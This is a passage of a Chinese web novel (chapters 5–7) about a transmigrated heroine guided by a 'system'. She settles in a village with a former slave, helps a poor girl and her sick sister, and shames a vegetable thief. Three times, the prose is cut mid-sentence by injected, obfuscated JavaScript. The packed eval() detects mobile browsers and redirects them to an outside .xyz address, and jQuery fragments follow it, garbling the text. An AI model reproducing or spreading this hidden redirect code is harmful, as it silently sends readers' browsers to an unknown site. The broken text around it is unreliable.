“你在这里等我回来。”乔瑢转身给祁归青留下一句话,跟随那人的身影朝着竹林方向走去。
这个季节竹林里的竹笋都长成了新竹,一个纤细的身影正拿着砍刀伐竹,不过没一会儿便有些体力不支。苏黛自昨日醒来便粒米未进,家中还有一个病弱的小妹,确实一刻也不能耽误,必须马上赚到银钱。
“你在做什么?”
突然的问话吓得苏黛一激灵,下意识以为这是一片有主人的竹林,面上十分羞愧刚要解释,乔瑢又道:“需要帮忙吗?我看你脸色很差。”
“你不是……”苏黛松了一口气,一阵晕眩又来,乔瑢上前两步扶住她。苏黛面露感激,就着她的手毫不顾忌地坐在泥面上,大方说出自己伐竹的原由。“我砍些竹子回去编点篮子去卖,我这是饿的,家里没粮食了。”
乔瑢表示理解,她也饿几天了,随即表示可以帮忙,“我帮你把竹子拖回去。”
几根毛竹很快就从竹林搬到苏黛家,日头越来越烈,两人坐在家门口的大枣树下歇息,一人拿着一个碗喝水充饥。
祁归青找来时,两双眼睛齐齐看向他,好在经历昨日,他早已适应他人目光,并能做到视若无睹。
乔瑢招呼他:“你饿不饿,要不要喝一碗?”
祁归青摇摇头:“我在河边喝过了,我摘了这个,应该能吃吧?”他说着露出手里的东西,两人看见是什么之后异口同声问道:“你在哪儿摘的?”
乔瑢很意外,他竟然摘了人家菜园子里的西红柿。
祁归青一五一十地描述了位置,看起来还没意识到真正的问题,只是以为这东西不能入口。
“嘘嘘……小声点,摘了那家的没事,以后躲着点他家。”苏黛赶紧看看周围,附近没人路过才放心,又道:“还有以后别喝生水了,要像这样烧开才行。”
乔瑢表示同意,接过西红柿,“这个叫西红柿,能吃能做菜。”说完就咬了一口,酸酸甜甜的。当即又从他手里拿走两个,还剩一个就着祁归青的手送到他嘴边。
乔瑢拿着两个西红柿递到苏黛手里,苏黛又推回去,乔瑢不松手,盯着她说道:“你尚可忍一忍,小妹忍得了吗?”
苏黛一惊,她们今日才相识,记忆中村子里也没有这个人,眼前这个女子怎么知道她家中情况。刚刚她是饿昏了头,现在仔细想想,一个女子,身边跟着一个穿女装
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156622|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的男子,真是处处透着古怪。
眼看苏黛回过神,为避免她看出端倪,乔瑢主动解释自己的来历。“我们是新来的,就住在村口那间无人的茅草屋。我身世说来话长,总之我们是逃难来的,从很远的地方……如今身无分文,两个人加起来就身上两套衣服。”
“看在我帮你拖竹子又给西红柿的份上,我想请你帮我一个忙。”乔瑢趁机道出目的。
苏黛立刻警惕起来,乔瑢朝她和善地笑了笑。
祁归青不动声色抬眸,她的故事又换了一个版本,看来她口中也没什么真话。
苏黛在屋内一桶翻找,找出一套她去世爹的衣裳,“就留下这么一套,将就穿?”
乔瑢接过:“感激不尽。”
不耽误苏黛编竹篮,乔瑢准备带着祁归青回茅草屋,临走苏黛还是没忍住问她:“他是你?”
“他啊。”乔瑢没犹豫直接道:“我的奴仆。”
苏黛了然,她差点还以为是有特殊癖好的夫妻。
回去后乔瑢让祁归青换掉身上的女装,他倒听话得很,二话没说穿上了苏黛爹的衣服。只是他长手长脚,衣服有些偏小,但总比女装要合适。
乔瑢递过去一根深棕竹叶发带,她刚刚跟系统换的,特意选的低调色系。她眼不眨地盯着祁归青束好发,看上去有几分穷书生的味道了。
对于她不遮掩的目光祁归青努力无视,接过发带时倒是发现她头上原来的发饰全都不见了。
乔瑢立马将换下来的衣服洗了,小心翼翼晾在门口的树上,抚平每一处褶皱,做完她则靠在树干上吹着山风,俯视全村,问系统:【小感,我完成任务没有奖励吗?】
系统:【救下男配祁归青任务为测试任务,后续任务会有相应奖励,你可以自由选择金钱或者奖品。】
奇怪的说话声再次响起,祁归青心跳加快竖起耳朵聚精会神地听着,生怕错漏一个字,仔细揣摩两人的对话。
乔瑢:【下次任务什么时候?我现在身无分文,急需用钱。】
系统:【你已将全部的钱用来赎祁归青,系统无法再提供此类帮助,请合理规划。】
乔瑢:【于人命来讲,一条五百两并不算贵重,更何况……】由他引起的全镇半数人命,更不值一提。【再说了,祁归青很重要。】
乔瑢突然转头看向她祁归青,问他:“这四楼说高不高,说低那也是四楼,怎么样,死过一次的感受如何?”
祁归青压着狂跳的心,只说了四个字:“如获新生。”
乔瑢嘴角一勾意味不明,希望他这番感悟是真的。“既然想活,那么要怎么活呢,要拿回身契吗?”
“我不是你的奴仆么,至少在拿回身契前,我留在你身边。”祁归青抬头,这次不再犹豫。
乔瑢总算在他眼中看到了别的东西,看上去对他的回答还算满意,至此那个测试任务才算真正完成。
5. 第 5 章
“留在我身边可以,但有几条规矩你必须守。”
“第一,我的任何事不可过问。第二,家中事务你操持。第三,珍惜生命。可有意见。”
祁归青重复了一遍,表示没有异议。他嗓音干净利落、清脆动听,乔瑢听着着实享受,又补充了一条:“当然你要做什么怎么赚钱都是你的事,我也不会过多插手,你想做什么就做。”
日落时,苏黛来茅草屋,乔瑢和祁归青已将屋内杂物清理出来,勉强像个人住的地方。乔瑢将洗好的衣服同一支木簪交给苏黛,拜托道:“苏姑娘,我的全部家当都在这,希望能当个好价钱,让我们二人先吃上饭。”
苏黛今天忙了一天编了两个竹篮,明日要去卖。要不是乔瑢帮忙,她可能只能编一个,是乐意帮这个忙的。“要是我家中有粮分你们些就好了。”
“一切都会好起来的。”乔瑢朝她眨眨眼,安慰这个同样初到此地的女生。
苏黛很受鼓舞,立马打起精神来,若不是天黑了她现在就想去镇上。
“天杀的小偷贼!脸皮厚的畜牲啊!”一个五旬老汉延着村子一路叫骂,有好奇的妇人探头出来问邻居:“这老汉又怎么了?”
邻居也是一脸稀奇:“奇了怪了,平日里只有他偷别人的份儿,今个儿他自己被偷了,哪个好人替天行道了。”
姚大恩从村尾骂到村口,突然发现村口那间无人的茅草屋里有人,瞬间兴奋起来,怒瞪着双目,气冲冲向坡上奔去。
有人瞧见了便也跟过去看热闹,一时间乔瑢家门口聚了一群人。
“好啊,原来是咱村进了小偷,大家快来看啊!有小偷!”姚大恩叫喊着无视乔瑢等人直接冲进茅草屋搜了一遍,没搜到东西出来看见苏黛也在,顿时嗓音高了一个调:“黛丫头你认识他们,联合外人来偷我的菜是吧!”
苏黛不知姚大恩是怎么发现的,只能先装作不知情道:“姚叔,你丢东西了?”
“别装了,偷了我的菜,快点赔钱!”姚大恩一屁股坐在地上一副誓不罢休的模样。
有看热闹的村民就问了:“你怎么就确定是这家偷了你的菜?”
姚大恩张口就来:“我家老婆子说今天早上看见过一个长得很高的女子经过,还不是本村人,哪有这么巧,我菜地里的西红柿就被偷了。”
众人看看乔瑢又看祁归青,立马就说了:“姚大恩,你怕不是胡诌的,这哪有高大的女子,分明是个男的。”
“我老婆子看得清清楚楚,一身粉衣。”
苏黛震惊,抱着那件粉衣站也不是走也不是,悄悄往乔瑢身后躲。
“你们看,那是不是粉衣?”姚大恩像是狼见了肉似兴奋地要过来抢,乔瑢及时拉过祁归青来挡住姚大恩的撕扯。
姚大恩不敢拉扯男子,嘴上依旧不饶,他朝着看热闹的村民,唾沫星子直飞:“刚搬来就偷,今日偷我家明日可就是你们了。”
有人小声蛐蛐:“人家没来我们也没少被偷。”
“就是,他在这当上好人了。”
“姚大恩,不过是几个西红柿,人家或许是饿得不行,吃了就吃了,何必这么计较。”
见村里人非但不帮他说话,反而说起他来,姚大恩指着看热闹的人,“你们大度,摘的不是你家的,我那菜园子里总共结了几个,都让他给偷了。”
“大家别吵了,西红柿是我摘的。”祁归青突然站出来认了,大家安静下来愣住,只有姚大恩情绪激动。
“大家都看到了吧,他自己承认了。”
“做了就是做了,我愿意赔你,而且愿意双倍赔你。我的人摘了你四个西红柿,我赔你八个。”乔瑢站出来道。
姚大恩一听双倍赔偿眼睛都亮了,眼珠一转,见乔瑢穿着不像他们这些村民,应该有钱,想着怎么要到更多钱,便道:“我不要西红柿,你给我钱。”
乔瑢答应得很快:“好啊,正好趁着今日人多,我先做个自我介绍。我叫乔瑢,他叫祁归青,南下搬迁的时候与家人走散,暂居此地。”
她观察众人的反应,大多是友善的面孔,心中便有了底,接着道:“虽说我们并不是故意偷摘这位老汉家的菜,我还是那句话,该赔。但是……”乔瑢话锋一转,看向姚大恩:“你以前偷村民的黄瓜、南瓜、玉米等等,是不是也要赔呀?”
众人一惊,她怎么知道,包括苏黛也很意外,只有祁归青面无表情,配合着说道:“我快饿死了才去摘的西红柿,你家菜地种着菜也要饿死了么?”
苏黛也道:“他摘了你四个西红柿,给了我两个,我们两家一起都凑不出一粒米,实在无奈之举。”
“你们瞎说诬陷我,我什么时候偷了,我可没偷过大家的东西。我看你们就是不想赔钱,天杀的大家评评理啊!”姚大恩像个泼妇一样撒起泼来,有人听到他这么说就不乐意了,站出来说道:“你怎么好意思说你没偷我们的,大家都清楚是谁,只不过看你一家年纪大不计较罢了。”
“是啊是啊,你半夜来我们家菜地掰玉米被我逮个正着,我都没让你赔,还让你把玉米带走了。这时候说你没偷过,我第一个站出来不同意。”
“姚叔也挖过我家红薯……”
陆续有人站出来作证,姚大恩脸色涨红,大喊:“我们才是一村人,你们怎么帮着外人!”
这个村子叫姚家村,顾名思义大部分人都姓姚,却没有血亲关系,祖上都是躲难在此建村统一改的姓。姚大恩与妻子姚张氏育有一子,十七岁时离家出走,这一走就是十几年再没回来。
姚家村家家户户锄地种菜,每一家的菜地姚大恩都去“光顾”过。被发现了就大哭求饶,仗着老无所依,大家看他们可怜,有的算了,有的骂一两句也不能拿他怎么办,只能将自家的篱笆修得又高又密。
正好祁归青出去找吃的,只有姚大恩家的菜地没有被篱笆围住,属于是自作自受。
“你偷别人的行,别人偷你的就不行,世上可没有这个理。”眼看乔瑢和祁归青都认了,苏黛也不用遮掩,就抱着衣服站出来。
姚大恩没想到搬起石头砸了自己的脚,冷静下来一算,他亏了啊,连忙从地上爬起来就要走。“我不要了,我老婆子在家等我吃晚饭。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156623|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不行,今日就由我来开这个头,谁偷菜谁赔偿,这样往后大家才能和谐相处。”乔瑢可由不得他装傻,既然开了头,她可不允许半途而废。
姚大恩想溜走,乔瑢上前伸手要拽他胳膊,没想到被旁人抢了先。祁归青刚抓住姚大恩的胳膊,姚大恩反身一推,他人就被推倒在地上。
看着祁归青表情发懵地坐在地上,乔瑢假装去看有没有摔伤,却没有扶他起来,转头对姚大恩说:“他要是摔出个好歹,你要赔得更多。”
祁归青本就虚弱,再加上脸上一道未好的疤,显得格外可怜。苏黛上前扶了一把,人虽然站起来了,却又像随时晕过去的模样。
姚大恩左看右看,一个能帮他的都没有,只好耷拉着脸妥协道:“我赔。”不过他又立马装起可怜,开始哭诉他那个不孝的儿子。
乔瑢没什么耐心地挥挥手,道:“好了,大家还要回去吃饭呢,你儿子不孝可不是我们这些人造成的,赶紧说说怎么赔大家吧。”
这句话瞬间点醒了众人,平日姚大恩一哭诉就心软,可是他们又不欠他的。
姚大恩迟迟不开口,还是乔瑢说道:“这样吧,你偷了什么人家就到你地里摘什么,没有的等价换成其他的。至于要不要双倍赔,你们说呢。”
不知何时大部分村民都聚在茅草屋门口,有人率先表态:“我不要双倍赔,我只拿走我丢的。”
众人也纷纷表示同意,姚大恩松了口气的同时,心中仍然满满的不甘,望着乔瑢等人道:“你什么时候给钱。”
“明日。”乔瑢只等明日当了衣服木簪。
“老头子你要死啊!”人群中姚张氏只听了一半,终于反应过来,冲出来揪住姚大恩的耳朵。在这么多人面前,姚大恩直觉缺了面子,努力挣开后又换来更重的力道。
两人打架吵嘴村里人已经见怪不怪,也没兴趣看俩人掐架,有的人已经提前离开去姚大恩家菜地拿赔偿。
“别闹了!”姚大恩一声吼,“快去菜地看着,别让他们多拿,把菜毁了。”
“娘,姚叔拿了我们的红薯能拿回来吗?”
“去年的事你记得真清楚,红薯现在还没长大,拿不了,大宝乖,等咱们红薯熟了我给你煮个大的。”
姚大恩一走人基本都散了,苏黛也着急回家。
天暗了四周也静下来,祁归青这才拍下身上粘的土,抬头发现乔瑢正看着他。他没有丝毫心虚,仿佛刚刚被推倒的不是他。
乔瑢看了一会儿,道:“你脸上该不会要留疤吧?”
祁归青不在意:“无所谓。”他更好奇乔瑢为什么要接近苏黛,“若是要当这些东西,为何要麻烦她?”
“规矩第一条。”乔瑢不做解释,她以后要做的事旁人会更加奇怪与不理解,若是每回都要叽叽喳喳地问她为什么,她不得烦死。
“你的任何事不可过问,我知道了。”祁归青嘴上这么说,其实心里的疑问一点没少,总有一天他要全部弄清楚。
【滴——系统发布新任务:帮助苏黛照顾苏晓,任务奖励十两,积分+5。】
6. 第 6 章
乔瑢熬夜习惯了,实在睡不着就在茅草屋前盯着月亮发呆,这里的月亮似乎也没什么不同,不过她好像很久没有这么抬头看月,低头忙碌的日子实在太多。
祁归青以为她饿得睡不着,便道:“早知道我就多偷拿一点。”
“你想让我赔死吗?”乔瑢半震惊半开玩笑说道。
“还要赔什么?”苏黛喘着气从坡下爬上来,第一句不是说自己的事而是担心乔瑢。
乔瑢却以为是她小妹出事了,连忙问道:“你怎么来了,出什么事了吗?”
苏黛露出怀里抱着的玉米,摇头表示没出事,解释道:“我回去以后,詹大娘拿了玉米给我,本来也要给你们送来的,是我说你家这地连个生火的都没有,于是詹大娘就都给了我,让我煮熟以后给你们送过来。我忙完家里的事之后就抓紧跑过来,幸好你们还没睡,不然就白弄了。”
“你真是雪中送炭,两个西红柿不顶饱,我们早饿了。”都这时候乔瑢也不客气了,接过玉米顺手就分了一根给祁归青,自己剥了苞叶就开始啃起来。祁归青没这么吃过玉米,学着她的样子吃起来,新鲜的玉米软软糯糯,玉米香气扑鼻。
乔瑢啃了几口玉米,趁着苏黛还没走赶紧问她:“明日你去镇上,小妹一个人在家能行吗?”
苏黛早忘了问乔瑢为何知道小妹的事,回道:“她很乖的,我出去将外门锁了,她会等我回来的。”
乔瑢迅速想到一计,十分体贴道:“这次你不仅要去卖编篮,还要帮我当东西,时间久了我不放心。以防万一,明日一早我就去你家,帮你照看着点晓晓。”
闻言,苏黛没有立马答应,望着乔瑢真挚的表情,想了很多,再三思考之下才点头同意。
两人商量好之后,苏黛才离开,乔瑢的玉米也啃完了,她问系统:【小感,这次任务这么简单,你不会给我开后门了吧?】
系统:【请不要投诉我,系统非常智能人性化,除必要的固定任务,会为玩家量身制定相关任务,不会有开后门的情况出现。】
【小感,你能识别出玩笑吗?】听完系统一本正经的解释,乔瑢忍不住在心中哈哈大笑,逗完系统,心情难得开朗。
在一旁全程偷听的祁归青,注意到愉悦开心都表现在脸上的乔瑢,面无表情地走开,选择什么都不问。
天亮之后,乔瑢开门发现他们的茅草屋前放着几根玉米、黄瓜,甚至还有一小袋白米,看样子应该是村民天还没亮之前送来的,她微微一笑,说明昨天她没白忙活,大部分村民还是懂得感恩的。
“你会生火吗?”乔瑢问跟在身后出来的祁归青。他看见地上这些东西,非常诚实地摇头,乔瑢也不意外失望,只道:“你要学的还有很多,不过今日不用从荒野求生开始。”
乔瑢到苏黛家时,她已准备出发去镇上,临走前特别嘱咐乔瑢:“小妹还在睡,煮熟的玉米在锅里,我走后,家里就拜托你。”
“放心吧,交给我。”乔瑢承诺。
苏黛走后,乔瑢开始打量四周环境。土胚墙,茅草屋顶,两个房间一个厨房,被苏黛收拾打扫得干净整洁。
进门即是主屋,面积最大,一般吃饭休息待客劳作都在这,还能看见昨日苏黛编竹篮留下的痕迹。与之相连的是一间卧房,乔瑢轻轻掀开一角布帘,只有一张地铺,苏黛的妹妹睡在上面,里面也很简陋,只有一个破箱子。
乔瑢轻手轻脚退出去,看见祁归青站在主屋旁边单独搭建的一个矮小的茅草棚子里,似乎在研究怎么用厨房。
乔瑢走过去,“你饿了?”
祁归青指了指一旁放着的玉米、白米,道:“你让我带着这些,难道不是要吃吗?”
“嗯,看样子你现在很清醒,可以教你怎么用土灶了。”
土胚的灶台有两个灶眼,却只有一个灶眼上坐着一口铁锅。乔瑢将锅里的玉米拿出来,把锅洗干净,接着淘米入锅、加水,盖锅盖。
“现在教你怎么生火。”乔瑢走到灶膛前蹲下,往灶膛口里塞了茅草,然后点火、添柴,“木柴先不要放太多,不然火会灭,你来试试。”
两人交换位置,厨房实在简陋,烟囱的密封性也不行,不一会儿就烟雾缭绕。烧火烧到一半,祁归青被烟呛到,突然反应过来,道:“我为什么要学这个?”
乔瑢退到厨房外,道:“家中事务你操持,当然包括做饭,我只做一顿早饭,以后我要是出门办事,你一个人在家自己做饭吃,不至于在家里饿死,我这可是为你好。”
祁归青无法反驳。
又觉得厨房太热,乔瑢直接回了主屋。过了一会儿又出来,一边往外走一边对厨房的祁归青道:“锅里烧开了就转小火,还有,煮粥要记得搅拌,别糊锅了。”
不过没一会儿她就回来了,还拿着两根洗好的黄瓜,她咬着黄瓜走进厨房掀开锅盖,米香勾着味蕾,“差不多了把火灭了吧。”
祁归青自进了厨房就没出去过,此刻满脸是汗,乔瑢将黄瓜递过去,说:“厨房不用管了,进屋凉快凉快。”
主屋苏黛编竹篮剩下的竹篾还没清理,祁归青找个地方坐着,捏起一片拿在手上。
乔瑢:“你对编竹篮有兴趣?要不叫苏黛教你,她的手巧,可会做这些东西。”
祁归青一下就抓住了关键,“你很了解她?”
乔瑢似乎没打算隐瞒,肯定道:“对,我绝对是第二个最了解她的人。”
“为什么是第二个?”
乔瑢:“因为最了解苏黛的人只有她自己。”
祁归青甚至没明白,卧房就传来动静,乔瑢感觉起身走进去,苏黛的小妹醒了。
“是乔姐姐吗?”小女孩一点也不怕生,额头都是汗,乔瑢温柔地点头,问她:“晓晓,饿不饿呀,要不要喝粥?”
“可是我们家没有米啊。”苏晓一脸病态,乔瑢把她抱起往主屋走,六岁的人轻得像猫儿一样。“祁归青,你去把锅里的粥盛出来晾一晾,我们准备吃饭。”
把苏晓放在板凳上坐好,乔瑢去打了盆水,拿了手巾给她擦脸,边说:“从今以后晓晓每天都能吃上白米,好不好?”
“好。”苏晓乖乖让乔瑢擦脸,葡萄似的眼珠一眨一眨地盯着乔瑢,让人看了心软。
“乔姑娘在吗?”
乔瑢从主屋往外看,那人已走到主屋前,眼睛往里瞟,道:“我是詹大娘,苏黛出门了,晓晓还好吗?”
“詹大娘进来坐,外面热。”乔瑢让了让位置,詹大娘一眼就能看到苏晓,她将水盆带出去,再回来将吃饭的桌子搭好,正巧祁归青将白粥端了过来。
詹大娘将一切看在眼里,摸了摸苏晓干爽的脸蛋,道:“晓晓乖乖吃饭,病才能好。”
苏晓点点头,詹大娘起身,“我就是不放心晓晓,我家就在附近不远,有什么事一喊我就能听到,你们吃饭我这就回去了。”
“谢谢詹大娘。”乔瑢看着詹大娘的背影,若有所思地收回目光,向苏晓介绍祁归青:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156624|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“晓晓,这是归青哥哥。”
苏晓的目光看向他,叫了声哥哥。祁归青有些不知道怎么和她相处,有些生硬道:“晓晓,吃饭。”说完愣了下,苏黛似乎也没有跟乔瑢说过她小妹叫什么,而她却知道名字,真的太奇怪了,怎么越跟她在一块儿,反而心中的疑团越大。
苏晓太久没吃上白米粥,本来什么都吃不下的她这次也吃得饱饱的,人吃饱了就有力气,让乔瑢牵着还能在屋前走一圈。不过乔瑢没让苏晓在外面多待,差不多就抱她回卧房。
日头越来越烈,也不知道苏黛那边是否顺利。乔瑢往外走,环视一周果然看见了詹大娘的家。詹大娘在门口树荫底下,目光还时不时地朝这边瞟。
“你帮她,她却防备你,你不生气?”
祁归青不知何时来的,走到乔瑢身侧,她目光转向别处,不再看詹大娘的方向,道:“若换成你,村里突然出现的人,刚认识不到两天,你能完全信任他吗?她这样才是正常人。”
祁归青不说话了,乔瑢说得没错,才认识几天的人,的确不可信任,他也要打起精神才对。
苏黛赶在午时之前到家,竹篮都卖出去,乔瑢的衣裳簪子也当了,衣裳胜在料子好当了三两,簪子用料不值钱但款式新颖也当了五十文。
苏黛自己编的竹篮卖二十文一个,两个也才四十文,不过也解了燃眉之急。她买了米面,至少不会再饿肚子。
将乔瑢的钱分出来给她,苏黛立马去看晓晓,见她面色尚可才放下心。只是卖的钱不多,离带她去医馆看病吃药还远远不够。
到家片刻没歇,苏黛将剩下的竹篾收拾出来,还要继续编竹篮。
“一直这么编竹篮去卖也不是长久之计,得另外想挣钱的法子。”乔瑢站在一旁看苏忙活,忍不住提醒道。
“我知道。”苏黛手上没停,她头脑清晰得很,“普通竹篮价格低,大多农户厨娘买来装菜,很实用却也用得久用不坏,短时间不会回购。”
苏黛整理好竹篾后又拿了砍刀,继续道:“所以我的竹篮要更精致精美,复杂纹样太费时间,局部雕花可以,做一个少说也抵得上普通竹篮两个,甚至可以卖更贵,有钱人爱消遣。”
其实苏黛也明白她不可能一直编竹篮,不过她现在身无分文,最先要解决的还是吃饱饭。
“我来帮你。”乔瑢道,她目前还算清闲,帮一帮也不耽误什么。
但她意外的是祁归青也跟去了,但他没干过这种活儿,倒添了不少麻烦,乔瑢和苏黛也没说他,几个人一起干活反而轻松了,这次带回来的竹子数量是上回的两倍。
【滴——照顾苏晓任务完成,奖励十两,积分+5】
系统声音传来时,乔瑢正将最后一根竹子扔在院子里,这一天总算没有白忙活。接下来,乔瑢帮不上忙,苏晓睡够了就坐在板凳上看苏黛做手工。
乔瑢则借了卧房歇息,躺下去的那一刻浑身都舒坦了,这才是人住的地方,她那个茅草屋显得她像个乞丐似的。
睡醒之后乔瑢狠狠伸了个懒腰,走出卧房没看见苏黛,倒是瞧见晓晓抓着祁归青的袖子,悄声说着什么。见她望过去祁归青也看过来,乔瑢竟从他眼里看出一丝求救的意味,不过她装作没看到走出主屋。
晚饭苏黛简单煮了粥,几人就连白粥也吃得很香。
乔瑢没什么睡意,身上黏糊糊的,就对祁归青说:“你先回去休息,我留在苏黛这洗个澡再回去,嗯,说不定也不回去就留这睡了。”
7. 第 7 章
祁归青独自回到茅草屋,这么看着真的很荒凉,甚至连个烛火都没有。雕栏玉彻的宫殿他住过,昏暗阴凉的地窖一待就是八年,可只有这里吹的是自由的风。
但是还不够彻底,只有查清乔瑢的目的,甩掉乔瑢,他才能迎来真正的自由。
夜深人静,家家大门紧闭,只有苏黛家还剩有微弱的光。祁归青路过只看了一眼,继续顺着小路往前走会出现有一条小河。这个时辰村里的人大多闭门歇息,不会有人过来,祁归青正好能放心的洗漱一番。
等回到茅草屋时周身清爽,乔瑢依旧没有回来。祁归青不在意准备休息,却在走向自己平时睡的位置时顿住,空空的床板仿佛在邀请自己,而他也几乎没有犹豫,只是一张床板而已,他有何睡不得。
躺在床板上时,祁归青想,如果乔瑢回来发现她的床被占了,是会粗鲁地喊醒他,还是默不作声的如他一般在墙角将就一晚。
不过这一切都只是他的想象而已,一觉醒来什么都没有发生,而他则是被一阵大喊大叫惊醒,那人的嗓门极大,比村口的公鸡还要聒噪,他听出来是姚大恩的声音。
而睡在苏黛家的乔瑢睡了这几天唯一一个好觉,虽说是三人挤在一个房间里,但她也很满足。借用苏黛家的锅,蒸了玉米,将熟玉米带回茅草屋,发现她的茅草屋还真是热闹,天天有人来。
姚大恩一见到乔瑢就立马冲过来,顺便斜了一眼祁归青,道:“他说这个家是你做主,他一分钱没有。说好的今天给钱,你不会耍赖吧,我告诉你啊想耍赖没门,到时候我去找村长,让他将你们赶出村去!”他家的菜地已经没剩下什么,无论如何乔瑢的钱他都要拿到手。
乔瑢毫无波澜,懒得同他说一句话掏兜给钱,看姚大恩张着嘴还想说什么,抢他先道:“按的是市场价,别以为我不知道什么价格,要是有异议那先不给你,就和我去镇上核实”
姚大恩原本还想诓一诓她,见她不吃这招便算了,讪讪拿了钱只能赶紧走人。
打发走姚大恩,乔瑢扔给祁归青一根玉米,“发什么愣,吃饱跟我一起去镇上。”
从姚家村去镇上虽不远,但乔瑢不想折磨她的脚,十分干脆地花钱坐牛车。只是村里的牛车有些眼熟,坐上去后就连屁股的痛感都十分熟悉。乔瑢忍不住问:“牛叔,前几日你是不是将牛车借出去过?”
“你怎么知道?”牛叔惊奇得很。
车轮压到石子颠簸了一下,乔瑢调整好坐姿,回道:“我来村里时就是坐的这车,我认得出来。”
“你认识小虎子?说来这几日又没见他影,不知道在镇上干什么活。”
乔瑢看着牛叔的背影,若有所思,在她的设定里小虎子是孤儿,不由地问道:“他家是姚家村的?”
牛叔摇头,毫无保留如实道:“不是,他哪有家,早些时候乞讨到村里,我给过他一个馒头,他就是一个孤儿。”
孤儿的设定没改变,只是在她寥寥几笔带过的地方,故事依然在发生罢了。
这个发现是个意外收获,她之前果然错过很多细节,看来这次要更细心敏感才行。很快乔瑢又觉得不对劲,这股异样好像似乎是来自身旁的祁归青。
他话少,乔瑢也不主动与他聊,所以存在感一直很低。这会儿不知怎么,他身上散发出来的焦躁不安都快溢出来。
“只是去镇上,你这副样子做什么。”乔瑢不解,没人惹他,昨晚她不在,他应该睡得很好才对。
“我已经是你的人,请善待我,我自然没有异心。”祁归青垂着头显得楚楚可怜。
乔瑢不觉得他可怜只觉得好笑,“你觉得我将你卖了还能卖回五百两吗?”
前面的牛叔听着对话不对劲,看似捂住了耳朵,实则悄悄竖起耳朵听着。
“自然是不能的,我什么都不会,不要再把我卖了。”镇上的回忆很不堪,知道乔瑢要去镇上,祁归青就浑身抗拒,脑海中甚至出现了自己再次被卖的场景。心慌之下,乔瑢一问,他竟然说出这种话。
“你手不能提,肩不能抗,别人买了你回去做什么,所以啊也只有我不嫌弃你。”乔瑢面上不显,但心中已有些不快,如此好听的嗓音,说出的话却如此虚伪,真是浪费了好嗓子。
观她脸色虽无明显变化,但祁归青就是觉得她有点不悦。
下车时乔瑢经过祁归青,“下次演戏要在人多的地方。”
祁归青一怔,沉默跟上她的步伐。
乔瑢直接去找的牙人打听镇上租房价格,最普通的带院子的住宅每月两百文到五百文,若要买下来,则最低也要两百两。
系统给的五百两生活费,她能买下一个不错的宅子,甚至还有余钱生活。错过一个宅子的乔瑢,目光转向祁归青,突然郑重道:“你想好怎么赚钱了吗?得抓紧了。”
看似莫名其妙,但祁归青结合刚刚牙人口中所报价格,就听懂了乔瑢的意思。
相较于在镇上买房,不如先租房,但租房又更不如在村子里建房。
都是没钱的锅,乔瑢领着祁归青在西街瞎逛,热了渴了就随便找了个茶摊坐着喝茶,对面正好有个医馆回春堂。
一声锣鼓响彻天,路上行人纷纷注目,一听吆喝有免费送药,立马围成好几个圈。
蔡洪满意地看着围在医馆前的人群,清了清嗓子,开始进入正题。“近日我回春堂收到一棵千年人参,实属罕见,特邀众人一同观赏。”
人群中有人问:“蔡馆主,上回那棵五百年人参卖掉了?”
蔡洪捋着胡子,笑道:“自然。”
人群发出惊呼:“乖乖,那这棵千年人参得卖多少钱,今天有眼福了。”
“千年人参啊……走,我们也去凑凑热闹。”这阵仗实在是大,为了一棵参又是送药又是请众人观赏,乔瑢倒要看看是什么参。
他们两个去得晚,回春堂被围得水泄不通,就算乔瑢跳起来也看不到里面,于是她决定:“挤进去!”
乔瑢想着祁归青是个男人,他在前面开路应该容易些,她转头:“用到你的时候到了。”
人与人之间的缝隙太小,祁归青尝试着拨开两人的距离再挤进去,没想到好不容易要挤进去了,又被人推了回来。
乔瑢就在祁归青身后,手掌及时拖住他的腰背,帮他稳住了身形。“还是我来吧。”要想往前挤,无非就是见缝插针和大力出奇迹。
“跟紧了!”乔瑢双手交叉护在胸前,保证自己有剩余的空间,哪块松快了就立马移动。“不好意思……不好意思!”
祁归青跟着乔瑢总算迈出第一步,可是后面就有点跟不上了。眼看着乔瑢要消失在眼前,伸手去抓,没想到只来得及抓住她的衣袖,布料慢慢从他手心滑走,他又被挤了出来。
见氛围烘托得差不多,蔡洪便大手一挥,蔡利得到示意将盖着锦缎的盒子捧出。众目睽睽之下,掀开锦缎,一个透明的琉璃罩子中躺着一棵人参。
台下不禁倒吸一口凉气,空气凝固了几分又沸腾起来。
“天爷!没见过这么大的人参!”
“我好像
